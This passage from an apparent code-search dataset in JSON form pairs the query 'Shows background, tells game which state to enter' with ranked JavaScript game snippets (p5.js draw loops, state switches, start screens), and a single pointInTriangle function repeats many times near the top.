pointInTriangle(ax, ay, bx, by, cx, cy, px, py) {\n return (cx - px) * (ay - py) - (ax - px) * (cy - py) >= 0 &&\n (ax - px) * (by - py) - (bx - px) * (ay - py) >= 0 &&\n (bx - px) * (cy - py) - (cx - px) * (by - py) >= 0;\n}", "title": "" }, { "docid": "09b6dd6c9f3e550ad23ea055163ad43b", "score": "0.59677416", "text": "function pointInTriangle(ax, ay, bx, by, cx, cy, px, py) {\n return (cx - px) * (ay - py) - (ax - px) * (cy - py) >= 0 &&\n (ax - px) * (by - py) - (bx - px) * (ay - py) >= 0 &&\n (bx - px) * (cy - py) - (cx - px) * (by - py) >= 0;\n}", "title": "" }, { "docid": "09b6dd6c9f3e550ad23ea055163ad43b", "score": "0.59677416", "text": "function pointInTriangle(ax, ay, bx, by, cx, cy, px, py) {\n return (cx - px) * (ay - py) - (ax - px) * (cy - py) >= 0 &&\n (ax - px) * (by - py) - (bx - px) * (ay - py) >= 0 &&\n (bx - px) * (cy - py) - (cx - px) * (by - py) >= 0;\n}", "title": "" }, { "docid": "09b6dd6c9f3e550ad23ea055163ad43b", "score": "0.59677416", "text": "function pointInTriangle(ax, ay, bx, by, cx, cy, px, py) {\n return (cx - px) * (ay - py) - (ax - px) * (cy - py) >= 0 &&\n (ax - px) * (by - py) - (bx - px) * (ay - py) >= 0 &&\n (bx - px) * (cy - py) - (cx - px) * (by - py) >= 0;\n}", "title": "" }, { "docid": "09b6dd6c9f3e550ad23ea055163ad43b", "score": "0.59677416", "text": "function pointInTriangle(ax, ay, bx, by, cx, cy, px, py) {\n return (cx - px) * (ay - py) - (ax - px) * (cy - py) >= 0 &&\n (ax - px) * (by - py) - (bx - px) * (ay - py) >= 0 &&\n (bx - px) * (cy - py) - (cx - px) * (by - py) >= 0;\n}", "title": "" }, { "docid": "09b6dd6c9f3e550ad23ea055163ad43b", "score": "0.59677416", "text": "function pointInTriangle(ax, ay, bx, by, cx, cy, px, py) {\n return (cx - px) * (ay - py) - (ax - px) * (cy - py) >= 0 &&\n (ax - px) * (by - py) - (bx - px) * (ay - py) >= 0 &&\n (bx - px) * (cy - py) - (cx - px) * (by - py) >= 0;\n}", "title": "" }, { "docid": "09b6dd6c9f3e550ad23ea055163ad43b", "score": "0.59677416", "text": "function pointInTriangle(ax, ay, bx, by, cx, cy, px, py) {\n return (cx - px) * (ay - py) - (ax - px) * (cy - py) >= 0 &&\n (ax - px) * (by - py) - (bx - px) * (ay - py) >= 0 &&\n (bx - px) * (cy - py) - (cx - px) * (by - py) >= 0;\n}", "title": "" }, { "docid": "09b6dd6c9f3e550ad23ea055163ad43b", "score": "0.59677416", "text": "function pointInTriangle(ax, ay, bx, by, cx, cy, px, py) {\n return (cx - px) * (ay - py) - (ax - px) * (cy - py) >= 0 &&\n (ax - px) * (by - py) - (bx - px) * (ay - py) >= 0 &&\n (bx - px) * (cy - py) - (cx - px) * (by - py) >= 0;\n}", "title": "" }, { "docid": "09b6dd6c9f3e550ad23ea055163ad43b", "score": "0.59677416", "text": "function pointInTriangle(ax, ay, bx, by, cx, cy, px, py) {\n return (cx - px) * (ay - py) - (ax - px) * (cy - py) >= 0 &&\n (ax - px) * (by - py) - (bx - px) * (ay - py) >= 0 &&\n (bx - px) * (cy - py) - (cx - px) * (by - py) >= 0;\n}", "title": "" }, { "docid": "09b6dd6c9f3e550ad23ea055163ad43b", "score": "0.59677416", "text": "function pointInTriangle(ax, ay, bx, by, cx, cy, px, py) {\n return (cx - px) * (ay - py) - (ax - px) * (cy - py) >= 0 &&\n (ax - px) * (by - py) - (bx - px) * (ay - py) >= 0 &&\n (bx - px) * (cy - py) - (cx - px) * (by - py) >= 0;\n}", "title": "" }, { "docid": "09b6dd6c9f3e550ad23ea055163ad43b", "score": "0.59677416", "text": "function pointInTriangle(ax, ay, bx, by, cx, cy, px, py) {\n return (cx - px) * (ay - py) - (ax - px) * (cy - py) >= 0 &&\n (ax - px) * (by - py) - (bx - px) * (ay - py) >= 0 &&\n (bx - px) * (cy - py) - (cx - px) * (by - py) >= 0;\n}", "title": "" }, { "docid": "916dfcc8532a7e4f80bea4d425558067", "score": "0.5962839", "text": "function area(){\n return this.x * this.y;\n}", "title": "" } ]
f9a9e6cd5e13429cca229860a9652058
Shows background, tells game which state to enter
[ { "docid": "fa4bab183474a894869e6b73ed6c2a15", "score": "0.6142984", "text": "function draw() {\n if (state === `start`) {\n intro();\n } else if (state === `diffSelect`) {\n diffSelect();\n } else if (state === `warning`) {\n warningScreen();\n } else if (state === `simulation`) {\n simulation();\n } else if (state === `winEnding`) {\n winEnding();\n } else if (state === `loseEnding`) {\n loseEnding();\n }\n}", "title": "" } ]
[ { "docid": "7cb75a1be17891e2487be061aecd076b", "score": "0.7178733", "text": "function showGame() {\n setActive(!active);\n setActivex(!activex);\n }", "title": "" }, { "docid": "60f26bf7359179e463ec2a1e8f8c52fe", "score": "0.7066484", "text": "updateState() {\n\t\tthis.surface.background(this.getBackgroundColor());\n\t}", "title": "" }, { "docid": "ea05a4e2ff13c7aa9f9504b7dfb80e78", "score": "0.7011429", "text": "function displayGame() {\n if (gameState === \"game\") {\n image(forestBackgroundOne, width/2, height/2, width, height);\n spawnMonsters();\n if (turnPhase !== \"enemyTurn\") {\n playerTurn();\n }\n else if (turnPhase === \"enemyTurn\") {\n enemyTurn();\n }\n monsterBehavior();\n cardBehavior();\n displayPlayerStats();\n backPlayButton.show();\n endTurnButton.show();\n if (backPlayButton.isClicked() && ButtonReady) {\n gameState = \"menu\";\n }\n }\n}", "title": "" }, { "docid": "9b2f4d11b9109d1e645f72e51695b217", "score": "0.69825965", "text": "function draw() {\n background(0);\n\nif (state === `title`) {\n title();\n}\nelse if (state === `simulation`) {\n simulation();\n}\nelse if (state === `love`) {\n love();\n}\nelse if (state === `sadness`) {\n sadness();\n }\n}", "title": "" }, { "docid": "f6da4b734dfcaddb1679cde8c3f6dcc0", "score": "0.6863859", "text": "function start() {\n \n //Reset the PCS and create a new game\n pcs.reset();\n player = new Player();\n world = new World();\n back = new Background();\n\n //This tells the program that the game is no longer over\n gameOver = false;\n \n //Creating canvas for graphics and setting background color\n createCanvas(750, 500);\n //background(66, 238, 244);\n background(back.getR(), back.getG(), back.getB());\n \n}", "title": "" }, { "docid": "63aafaacd84dc63726076e0667937c4a", "score": "0.68503463", "text": "function stateFuncStandby(){\n drawStartScene();\n}", "title": "" }, { "docid": "49d930e0cb1feed30d5633ef05ef1218", "score": "0.68495286", "text": "function showWinning() {\n image(winBg, 0, 0, width, height);\n //check if the key press is backspace\n if (keyIsDown(BACKSPACE)) {\n //reset the game completely\n resetGame();\n // restart the game\n state = \"Start\";\n }\n}", "title": "" }, { "docid": "1534e2425ad159c9351df11467a05733", "score": "0.6842643", "text": "function draw() {\n //starting the background info\n if (state === \"Start\") {\n image(introBg, 0, 0, width, height);\n\n } else if (state === \"Play\") {\n handleInput();\n changeSizeItem();\n makePlayerSlower();\n backgroundChange();\n\n movePlayer();\n movePrey();\n\n updateHealth();\n showTheScore();\n StaminaBar();\n checkEating();\n checkWinning();\n\n drawPrey();\n drawPlayer();\n } else if (state === \"winning\") { //if the player won show the background\n showWinning();\n } else if (state === \"gameOver\") { //if the player lost show the background\n showGameOver();\n }\n}", "title": "" }, { "docid": "524b0568b42cf3e7da4b6d8c51ad872d", "score": "0.67906564", "text": "function draw(){\n \n loadBackgroundPicture();\n clickToStart();\n \n if(gameStatus == 1){\n inGame();\n }else if(gameStatus == 2){\n gameOver();\n }else{\n startPage();\n }\n \n}", "title": "" }, { "docid": "dae47ddee0fd8283e094066630e40f93", "score": "0.67874604", "text": "function draw() {\n background(0);\n\n if (state === `title`) {\n title();\n }\n else if (state === `simulation`) {\n simulation();\n }\n else if (state === `love`) {\n love();\n }\n else if (state === `sadness`) {\n sadness();\n }\n\n\n\n}", "title": "" }, { "docid": "7a9883d109771c6c94b26d4acfb0362c", "score": "0.6755145", "text": "function draw() {\n background(0);\n\nif (state === `title`) {\n title();\n}\nelse if (state === `simulation`) {\n simulation();\n}\nelse if (state === `capture`) {\n capture();\n}\nelse if (state === `escape`) {\n escape();\n}\nelse if (state === `secret`) {\n secret_text();\n }\n}", "title": "" }, { "docid": "c044d5e18abf202b1b32c078bbdee737", "score": "0.67350626", "text": "function draw() {\n if (state === `title`) {\n background(230, 100, 100);\n title();\n frameCount = 0;\n } else if (state === `playTime`) {\n background(0, 163, 84);\n countdown();\n dogPlaytime();\n } else if (state === `foundDog`) {\n background(211, 214, 30);\n winScreen();\n } else if (state === `lostDog`) {\n background(66, 44, 0);\n endScreen();\n }\n}", "title": "" }, { "docid": "39965b0b8f4d04cea97d11b83e28e8c4", "score": "0.6733865", "text": "function startGame() {\n myGameArea.start();\n //Draw Background\n simpleRect(canvas.width, canvas.height, colors.lessDark, 0, 0);\n refreshBoard(board);\n}", "title": "" }, { "docid": "93a280cb62acdf889355106a36cb41c8", "score": "0.67225605", "text": "function draw() {\n background(bg.r, bg.g, bg.b);\n checkState();\n}", "title": "" }, { "docid": "8e472005c696a37a188dafefeadce33c", "score": "0.66552925", "text": "function draw() {\n switch (state) {\n case \"TITLE\": titleScreen(); break;\n case \"PLAY\": playGame(); break;\n case \"OVER\": gameOver(); break;\n }\n}", "title": "" }, { "docid": "93bc98c3f98f44378c3ee8e0e63b19e5", "score": "0.664934", "text": "function draw() {\n//background(0);\n// the main screen\nif (state === 'title') {\n title();\n}\n// the first level simulation\nelse if (state === 'simulation'){\n simulation();\n}\n// the loose screen\nelse if (state === 'lose'){\n lose();\n}\n// the screen that appears when\nelse if (state === 'neptuneWin') {\n neptuneWin();\n}\n\n// this is the simulation that runs teh secound level\nelse if (state === 'simulation2') {\n simulation2();\n}\n\n//this is screen that pops up when you reach the next level\nelse if (state === 'marsWin') {\n marsWin();\n}\n\n// this is the simulation that displays the third level\nelse if (state === 'simulation3'){\nsimulation3();\n}\n\n// this is the state that shows up when you reaxch the final level\nelse if (state === 'earthWin'){\n earthWin();\n}\n}", "title": "" }, { "docid": "5f93305ff5a96badf7dbfe91cf6a12da", "score": "0.6648063", "text": "function draw() {\n background(192);\n\n // will call your state machine function\n drawFunction();\n}", "title": "" }, { "docid": "d2c103e5dee01a4df70e229f75a4e177", "score": "0.6636204", "text": "function startGame() {\n state = {};\n showTextNode(1);\n}", "title": "" }, { "docid": "d51d2261d985ae098118b37c2a946817", "score": "0.66310054", "text": "function changeBackground() {\n\n\t//vulf grey \n\tvar color1 = \"rgb(223, 230, 230)\"\n\t//vulf pale yellow\n\tvar color2 = \"rgb(230, 235, 223)\"\n\t//vulf dark grey \n\tvar color3 = \"rgb(178, 184, 184)\"\n\t//vulf dark pale yellow\n\tvar color4 = \"rgb(184, 189, 177)\"\n\n\t//if it's the grey (initial) background\n\tif (backgroundState === 0 && playMode === 2) {\n\t\t//switch background to yellow\n\t\tdocument.body.style.backgroundColor = color1;\n\t\t//switch text color to dark yellow\n\t\tdocument.getElementById('playerNumber').style.color = color3;\n\t\t//change text to P2\n\t\tdocument.getElementById(\"playerNumber\").innerHTML = \"P1\";\n\t\t//change background state\n\t\tbackgroundState += 1;\n\t}\n\t//if background is yellow (state change)\n\telse if (backgroundState === 1 && playMode === 2) {\n\t\t//change background to grey\n\t\tdocument.body.style.backgroundColor = color2;\n\t\t//change text collor to dark grey\n\t\tdocument.getElementById('playerNumber').style.color = color4;\n\t\t//change text to P1\n\t\tdocument.getElementById(\"playerNumber\").innerHTML = \"P2\";\n\t\t//reset background state;\n\t\tbackgroundState = 0;\n\t}\n}", "title": "" }, { "docid": "2d0443fa9ced62d368065d8848079af3", "score": "0.6604191", "text": "function draw() {\n if (trivia.state == \"welcome\") background(\"purple\");\n else if (trivia.state == \"question\") background(\"purple\");\n else if (trivia.state == \"correct\") background(\"green\");\n else if (trivia.state == \"incorrect\") background(\"red\");\n else if (trivia.state == \"thankyou\") background(\"purple\");\n}", "title": "" }, { "docid": "0b214a0938a04226a9a3f08f5f4369ab", "score": "0.6601966", "text": "function standby(){\n drawStartScene();\n}", "title": "" }, { "docid": "0b214a0938a04226a9a3f08f5f4369ab", "score": "0.6601966", "text": "function standby(){\n drawStartScene();\n}", "title": "" }, { "docid": "61c6e8925e01738e8f1e340383cf77c5", "score": "0.6592033", "text": "function draw() {\n if (trivia.state == \"welcome\") background(\"gray\");\n else if (trivia.state == \"question\") background(\"lightblue\");\n else if (trivia.state == \"correct\") background(\"green\");\n else if (trivia.state == \"incorrect\") background(\"red\");\n else if (trivia.state == \"thankyou\") background(\"orange\");\n}", "title": "" }, { "docid": "7232d1cacf9e3ebc731de5f6a000215b", "score": "0.65912235", "text": "function draw() {\n background(0);\n checkState();\n}", "title": "" }, { "docid": "fb48649c44ea69e190de159352ab8e55", "score": "0.6586994", "text": "function startGame() {\n state = {}\n showTextNode(1)\n}", "title": "" }, { "docid": "fe57aefae0f6239fd05f59a8e39c5d50", "score": "0.65510744", "text": "function startInitialScreen() {\n initializeBackgroundSprites();\n\n Canvas.clear();\n Effects.clear();\n\n setCSS(Effects.canvas, \"opacity\", 1);\n setCSS(Effects.canvas, \"backgroundColor\", \"#000\");\n\n setCSS(\"initial\", \"display\", \"block\");\n setCSS(\"windows\", \"display\", \"none\");\n setCSS(\"menuButtons\", \"display\", \"none\");\n setCSS(\"gameHeader\", \"display\", \"none\");\n setCSS(\"end\", \"display\", \"none\");\n\n initializeGame();\n\n Landscape.render();\n Landscape.renderObjects(0);\n Landscape.renderObjects(1);\n\n setCSS(\"load\", \"display\", \"none\");\n setCSS(Effects.canvas, \"opacity\", 0);\n}", "title": "" }, { "docid": "d7f9daba478b44ed822044cbac4600ad", "score": "0.6538078", "text": "function onState() {\r\n\t\tlist = new Array();\r\n\t\trandom();\r\n\t\t\r\n\t\tnavtexPWR.css(\"background-image\", \"url('../image/button/power-on.png')\");\r\n\t}", "title": "" }, { "docid": "bd1e7a0928bb979116f3a7ad6905c686", "score": "0.6536107", "text": "function ReturnToTitleScreen()\n{\n startScene.visible = true;\n gameOverScene.visible = false;\n gameScene.visible = false;\n scoreScene.visible = false;\n instructionScene.visible = false;\n}", "title": "" }, { "docid": "181c3420d37151e3b3e11e2db4b0d6a6", "score": "0.6533189", "text": "display() {\n // draw the correct graphic to the screen\n imageMode(CENTER);\n if (this.state == 0) {\n image(down, this.xPos, this.yPos);\n }\n else {\n image(up, this.xPos, this.yPos);\n }\n\n // draw our state information (for debugging)\n fill(255);\n text(\"State: \" + this.state, this.xPos, this.yPos + 200);\n text(\"Frames In State: \" + this.framesInState, this.xPos, this.yPos + 220);\n text(\"Frames to Stay in State: \" + this.framesToStayInState, this.xPos, this.yPos + 240);\n\n // handle state changes\n this.framesInState += 1;\n\n // should we move into the next state?\n if (this.framesInState >= this.framesToStayInState) {\n // time to switch!\n if (this.state == 0) {\n this.state = 1;\n }\n else {\n this.state = 0;\n }\n\n // reset time in state\n this.framesInState = 0;\n\n // pick a new amount of time to stay in this new state\n this.framesToStayInState = int(random(100,200));\n }\n }", "title": "" }, { "docid": "281fa8be9a920d3b98bd4cea9093b1f9", "score": "0.649646", "text": "function startScreen() {\n\n console.log(\"here is the title?\");\n textFont(\"Helvetica\");\n textSize(50);\n textAlign(CENTER, CENTER);\n noStroke();\n fill(230, 10, 10);\n text(\"Fruit Shooter\", width / 2, height / 4);\n\n push()\n textFont(\"Helvetica\");\n textSize(25);\n textAlign(CENTER, CENTER);\n noStroke();\n text(\"Left click to start\", width / 2, height / 6);\n\n\n if (mouseIsPressed) {\n state = \"game\";\n }\n}", "title": "" }, { "docid": "b9a105bac8b6cc587aa7699431271097", "score": "0.64582574", "text": "function drawButtons(){\n\t\n\t\tif(app.main.gameState == 1){\n\t\t\tdocument.getElementById('main').style.display = \"block\";\n\t\t}\n\t\n\t}", "title": "" }, { "docid": "6eb5e7cdfa6fbdb82e8f0dee45cbbec5", "score": "0.64564323", "text": "function displayMenu() {\n if (state === \"menu\") {\n background(0);\n fill(\"white\");\n textAlign(CENTER, CENTER);\n textSize(width * 0.02);\n text(\"Goal: Connect 5\", width/2, height /3 + height * 0.1);\n textSize(width * 0.04);\n text(\"GOMOKU\", width/2, height/3);\n //play against computer button\n textSize(width * 0.02);\n fill(255, 255, 255, 150);\n rect(width/2 - width * 0.3, height/2, width * 0.3, height * 0.2);\n fill(\"black\");\n text(\"Computer\", width/2 - width * 0.15, height/2 * 1.2);\n //play against the human button\n fill(255, 255, 255, 150);\n rect(width/2, height/2, width * 0.3, height * 0.2);\n fill(\"black\");\n text(\"Human\", width/2 * 1.3, height/2 * 1.2);\n\n //detecting mouse hover and click for playing against the computer button\n if (mouseX > width/2 - width * 0.3 && mouseX < width/2 - width * 0.3 + width * 0.3 && mouseY > height/2 && mouseY < height/2 + height * 0.2) {\n fill(255, 255, 255, 250);\n rect(width/2 - width * 0.3, height/2, width * 0.3, height * 0.2);\n fill(\"black\");\n text(\"Computer\", width/2 - width * 0.15, height/2 * 1.2);\n if(mouseIsPressed) {\n mode = \"against computer\";\n state = \"play\";\n gameSetup();\n }\n }\n\n //detecting mouse hover and click for playing against the human button\n if (mouseX > width/2 && mouseX < width/2 + width * 0.3 && mouseY > height/2 && mouseY < height/2 + height * 0.2) {\n fill(255, 255, 255, 250);\n rect(width/2, height/2, width * 0.3, height * 0.2);\n fill(\"black\");\n text(\"Human\", width/2 * 1.3, height/2 * 1.2);\n if(mouseIsPressed) {\n mode = \"against human\";\n state = \"play\";\n gameSetup();\n }\n }\n }\n}", "title": "" }, { "docid": "6b96c6bdfafa9c6785875aab6c250a84", "score": "0.6444684", "text": "function draw() {\n switch (gameState){\n case GameStates.Running:{\n for (var i = 0; i < bground.length; ++i) {\n bground[i].show();\n bground[i].update();\n }\n if (bground[0].needsNew()) {\n bground.push(new Background(width));\n bground.splice(0, 1);\n }\n\n for (var i = 0; i < fground.length; ++i) {\n fground[i].show();\n fground[i].update();\n }\n\n if (fground[0].needsNew()) {\n fground.push(new Foreground(width));\n fground.splice(0, 1);\n }\n player.update();\n player.show();\n noStroke();\n fill(0);\n textSize(20);\n // text(\"Time:\" + stopwatch.getElapsedTime(), width / 2, height / 2);\n text(\"Score: \" + score, width * .8, height *.1);\n break;\n }\n case GameStates.Over:{\n // gameover stuff here\n textAlign(CENTER, CENTER);\n stroke(0);\n fill(230,100,100);\n textSize(20);\n text(\"GAME OVER\", width / 2, height / 2);\n document.getElementById(\"gameMusic\").pause();\n var button = document.getElementById(\"menuButton\");\n button.style.visibility = \"visible\";\n var highScore = document.getElementById(\"scoresButton\");\n highScore.style.visibility = 'visible';\n // highScore.innerHTML = highscores;\n break;\n }\n case GameStates.Menu:{\n window.location.href = \"./index.html\"; \n break;\n }\n default:\n break;\n }\n}", "title": "" }, { "docid": "8a67a59b31ebf840bca90996a107657a", "score": "0.6441515", "text": "home() {\n RESET_VISITED_BUILDINGS();\n this.scene.stop('gameScene');\n this.scene.stop('panelScene');\n music.stop();\n this.scene.switch('titleScene');\n this.scene.bringToTop('titleScene');\n this.scene.start('titleScene');\n }", "title": "" }, { "docid": "6c5886337bb3eec370320c86a14e5a7a", "score": "0.6440186", "text": "static setBackground(back) {\n GameEngine.background = back;\n }", "title": "" }, { "docid": "5592ed709caca4d705cb4519071b07b5", "score": "0.642802", "text": "function StartGame() {\n ScreenDisplay(true, true, true, false, true, true, true);\n}", "title": "" }, { "docid": "ec6c05f6e23f4bf84bb33c85464cccde", "score": "0.6414215", "text": "function draw() {\n background(0);\n\n // Pong menu screen\n if (state === 0) {\n displayMenu();\n\n checkIfMouseIsOverButton();\n displayStartButton();\n }\n // Pong game screen\n else if (state === 1) {\n drawBackgroundLines();\n\n addScore();\n displayScore();\n endGame();\n\n determineAiMovement();\n\n moveAiPaddle();\n moveBall();\n movePlayerPaddle();\n\n\n displayBall();\n displayPlayerPaddle();\n displayAiPaddle();\n }\n\n // Win screen\n else if (state === 2){\n displayWin();\n checkIfMouseIsOverButton();\n displayStartButton();\n }\n\n // Loss screen\n else{\n displayLoss();\n checkIfMouseIsOverButton();\n displayStartButton();\n }\n}", "title": "" }, { "docid": "1a212c5a294a882f50662c4b2fd8345e", "score": "0.6408484", "text": "function onState() {\r\n\t\tvhfDisplayWatt.text(valueWatt + \" W\");\r\n\t\tvhfDisplayChannel.text(valueChannel);\r\n\t\tvhfDisplayCoords.html(valueCoordNorth + \" N<br />\" + valueCoordEast + \" E\");\r\n\t\t\r\n\t\tvhfChannel.css(\"background-image\", \"url('../image/button/red-clear-on.png')\");\r\n\t\t\r\n\t\tvhfPWR.css(\"background-image\", \"url('../image/button/power-on.png')\");\r\n\t}", "title": "" }, { "docid": "b3c6e14238fc244c704c87e982a811a9", "score": "0.6405375", "text": "function drawGameState() {\n // Background casino image\n ctx.drawImage(images['background'], 0, 0, canvas.width, canvas.height);\n\n // Darken the background\n ctx.fillStyle = 'rgba(0, 0, 0, 0.65)';\n ctx.fillRect(0, 0, canvas.width, canvas.height);\n\n // Balance overlay\n ctx.drawImage(images['coin'], 10, 10);\n fillTextAligned(ctx, 'x' + balance, 90, 65, 24, '#EEE');\n\n // Rig button\n ctx.drawImage(images['rigButton'], canvas.width - images['rigButton'].width, 0);\n }", "title": "" }, { "docid": "a2d3fa1f5fcff078296f94945ebd985a", "score": "0.64031595", "text": "function EnterGame() {\n\tif (canEnter) {\n\t\tShowHUD(true)\n\t\tShowPickScreen(false)\n\t}\n}", "title": "" }, { "docid": "cca13ec515a0ea2a1b109ec0e46d9833", "score": "0.6392116", "text": "function geekGame() {\n GEEK_MODE = true;\n show(\"game-options\");\n show(\"game-lizard\");\n show(\"game-spock\");\n hide(\"game-menu\");\n}", "title": "" }, { "docid": "78fdf9da1d2bcc770354150bde87a969", "score": "0.63915294", "text": "function displayTransitionMenuToTruth() {\n\n transitionAlphaOut += 2; // transition rate\n fill(0, transitionAlphaOut)\n rect(0,0, width, height);\n\n if (transitionAlphaOut >= 255) { /// if the alpha is 255 or above, change state\n gameState = \"truthIn\";\n }\n }", "title": "" }, { "docid": "38aa0946d83e3655b9d535d3a2baed7c", "score": "0.6389009", "text": "function startPressed(){\n launch();\n menuControl.style.display = 'none';\n gameView.style.display = 'block';\n gameControl.style.display = 'block';\n}", "title": "" }, { "docid": "8e8dac91abc6651863dda468fdca0840", "score": "0.63852125", "text": "displayEndScreen() {\n push();\n background(this.barrierColor);\n fill(0);\n textAlign(CENTER);\n textSize(30);\n text(\"What kind of players are you???\\nHow you could both die and neither of you win the game??\", width / 2, height / 2);\n pop();\n this.restartButton();\n }", "title": "" }, { "docid": "1f6d0ae37b4b12793c78d033cb4581df", "score": "0.63814926", "text": "function init() {\n //picking which screen to show\n initialScreen.style.display = \"none\";\n gameScreen.style.display = \"block\";\n gameOverScreen.style.display = \"none\";\n winnerScreen.style.display = \"none\";\n\n //get the game canvas \n canvas = document.getElementById('canvas');\n ctx = canvas.getContext('2d');\n\n //set the canvas size \n canvas.width = canvas.height = 600;\n\n ctx.fillStyle = BG; //use the background colour at the top \n\n\n //completely fill the canvas with background colour\n ctx.fillRect(0, 0, canvas.width, canvas.height);\n\n\n //add an event listener for keystrokes\n document.addEventListener('keydown', keydown);\n\n //set variable for the game being active to true\n gameActive = true;\n}", "title": "" }, { "docid": "3836b6d4ba19a74293ac0f447e0d4c7b", "score": "0.6378858", "text": "function draw() {\n background(255, 255, 0);\n\n if (state === `start`) { // States to trigger start, play and end screens\n startScreen();\n }\n else if (state === `play`) {\n updateRocks();\n updateLimestone();\n }\n else if (state === `end`) {\n endScreen();\n }\n}", "title": "" }, { "docid": "4dc7835954c6444a32283c471928f6ea", "score": "0.63752246", "text": "function basicGame() {\n GEEK_MODE = false;\n show(\"game-options\");\n hide(\"game-menu\");\n}", "title": "" }, { "docid": "b8b59ce50d9713673363d93a06e186db", "score": "0.63737977", "text": "function mainMenu()\n{\n personalization.style.display = \"none\";\n pics.style.display = \"none\";\n gameUI.style.display = \"\";\n \n ctx.fillStyle = \"Blue\";\n ctx.fillRect(75,75, 1500,500);//backdrop for buttons and such\n}", "title": "" }, { "docid": "9d9278639c8edf1920a9944e77b7ec35", "score": "0.6370493", "text": "function startgame() {\r\n gameState.logo.visible=false;\r\n gameState.startbutton.visible=false;\r\n gameState.starttext.visible=false;\r\n gameState.highscore.visible=false;\r\n gameState.highscoretext.visible=false;\r\n gameState.changename.visible=false;\r\n gameState.changenametext.visible=false;\r\n gameState.controlscheme.visible=false;\r\n gameState.controlschemetext.visible=false;\r\n gameState.gameover=false;\r\n gameState.player.visible=true;\r\n gameState.hitbox.visible=true;\r\n gameState.player.particleEmitter.active=true;\r\n this.scene.restart();\r\n }", "title": "" }, { "docid": "c9feb78b62c1b63eefa76b785c72c8a7", "score": "0.63603014", "text": "function showGameStart(){\n // Set up the font\n textSize(15);\n textAlign(LEFT, CENTER);\n fill(0);\n let gameStartWelcome = \"Welcome to chaser game!\\n\";\n let gameStartText = \"*INSTRUCTION: This game has three levels.\\n\" +\n \"In each level you face with some new options that stays with you till the end of the game.\\n\" +\n \"You have to eat the prey continuously otherwise you die. Between each level there's a short\\n\" +\n \"message that tells you what to do for the next one.For reading the message stays away\\n\" +\n \"from the prey, otherwise you enter the next level without knowing what to do!!!\\n\" +\n \"*LEVEL1: Keep SHIFT key to raise you speed.\\n\" +\n \"*In order to go to the next level you must eat the prey 6 times\\n\" +\n \"*LEVEL2: Eat the prey 6 more times\\n\" +\n \"*LEVEL3: To win eat the prey for 8 times \" ; // \\n means \"new line\"\n // Display it in the centre of the screen\n push();\n textSize(25);\n textStyle(BOLD);\n text(gameStartWelcome, 95, 100);\n pop();\n push();\n textLeading(25);\n text(gameStartText, 95, 225);\n pop();\n // Draw start button\n drawStart();\n\n}", "title": "" }, { "docid": "4f8e0da3bca1078c453901f2a9a12da6", "score": "0.6345309", "text": "function start(){\n game.gameRunning = true;\n OverLay.hideOverLay();\n game.run();\n}", "title": "" }, { "docid": "269de62c161b741366e42c5bfa1cef53", "score": "0.6317036", "text": "function introScreen() {\n image(introBackground, 0, 0, windowWidth, windowHeight); // display background\n}", "title": "" }, { "docid": "ba71e6dda38a93e744744fc38c4e7e0c", "score": "0.6313511", "text": "function sceneBackground(bg) {\r\n if (bg === \"cDia\") {\r\n var div = document.getElementById(\"gameContainer\");\r\n div.style.backgroundColor = \"#99CCFF\";\r\n bgGame = context.add.image(450, 400, \"city\");\r\n cloud = context.add.tileSprite(450, -100, 1000, 650, \"cloudDay\");\r\n cloud.flipY = true;\r\n cloud.flipX = true;\r\n bgGame.flipX = true;\r\n textConfig = {\r\n color: \"#000\",\r\n fontFamily: \"Fontdiner Swanky\",\r\n fontSize: 20,\r\n padding: 5,\r\n };\r\n } else if (bg === \"cNoche\") {\r\n var div = document.getElementById(\"gameContainer\");\r\n div.style.backgroundColor = \"#0f130c\";\r\n bgGame = context.add.image(450, 400, \"city\");\r\n cloud = context.add.tileSprite(450, -100, 1000, 650, \"cloudNight\");\r\n cloud.flipY = true;\r\n cloud.flipX = true;\r\n bgGame.flipX = true;\r\n textConfig = {\r\n color: \"#ffff\",\r\n fontFamily: \"Fontdiner Swanky\",\r\n fontSize: 20,\r\n padding: 5,\r\n };\r\n } else if (bg === \"skyDia\") {\r\n var div = document.getElementById(\"gameContainer\");\r\n div.style.backgroundColor = \"#99CCFF\";\r\n cloud = context.add.tileSprite(450, 500, 1000, 650, \"cloudDay\");\r\n sun = context.add.image(875, 15, \"sun\");\r\n textConfig = {\r\n color: \"#000\",\r\n fontFamily: \"Fontdiner Swanky\",\r\n fontSize: 20,\r\n padding: 5,\r\n };\r\n } else if (bg === \"skyNoche\") {\r\n var div = document.getElementById(\"gameContainer\");\r\n div.style.backgroundColor = \"#0f130c\";\r\n moon = context.add.image(450, 300, \"stars\");\r\n sun = context.add.image(875, 15, \"moon\");\r\n cloud = context.add.tileSprite(450, 500, 1000, 650, \"cloudNight\");\r\n textConfig = {\r\n color: \"#ffff\",\r\n fontFamily: \"Fontdiner Swanky\",\r\n fontSize: 20,\r\n padding: 5,\r\n };\r\n }\r\n}", "title": "" }, { "docid": "bc8453dd47eb865aa2d4f5443ed48e9f", "score": "0.6306217", "text": "function draw() { \n background(80);\n \n //Update the gameEngine\n\tgameEngine.update();\n \n}", "title": "" }, { "docid": "6d56dafe1b09d1c18b0dc91791e18d7a", "score": "0.6302569", "text": "function HomeWindow() {\n PauseBackgroundAudio();\n ExitModalWindow();\n clearIntervals();\n ScreenDisplay(true, true, true, true, true, false, true);\n}", "title": "" }, { "docid": "5c1de91edf11ddabb7e4adc94dbe71ea", "score": "0.62981874", "text": "function over(){\n\t\n\t\tif(app.main.gameState == 3){\n\t\t\tdocument.getElementById('gameover').style.display = \"block\";\n\t\t\t\n\t\t}\n\t}", "title": "" }, { "docid": "7d7e930c8d3af6b616977d588b6e4738", "score": "0.6297833", "text": "function start(){\r\n\tdocument.getElementById(\"gamearea\").style.display=\"block\";\r\n}", "title": "" }, { "docid": "556597ca63723872fbd66fe80bcabfe6", "score": "0.6274187", "text": "function showWinScreen() {\n setGameBoardOpacity(0);\n setWinScreenOpacity(1);\n setWinScreenZIndex(1000);\n}", "title": "" }, { "docid": "0f4644bf5ba25cdcc2008400fd23477c", "score": "0.62729895", "text": "function gameIsStarted(){\r\n if (gameStarted === false){\r\n gameStarted = true;\r\n display();\r\n };\r\n }", "title": "" }, { "docid": "689a900251edeb731b9d44c5d39cb1a9", "score": "0.6262057", "text": "function inactiveGameDisplay() {\n displayText(\"Game over, please press the new game button!\");\n}", "title": "" }, { "docid": "7cc7e53ddbe4f5fa86b8a6ee6ebc5b14", "score": "0.6256282", "text": "function startGame() {\n circleOne.style.backgroundColor = \"black\";\n gameStarted = true;\n}", "title": "" }, { 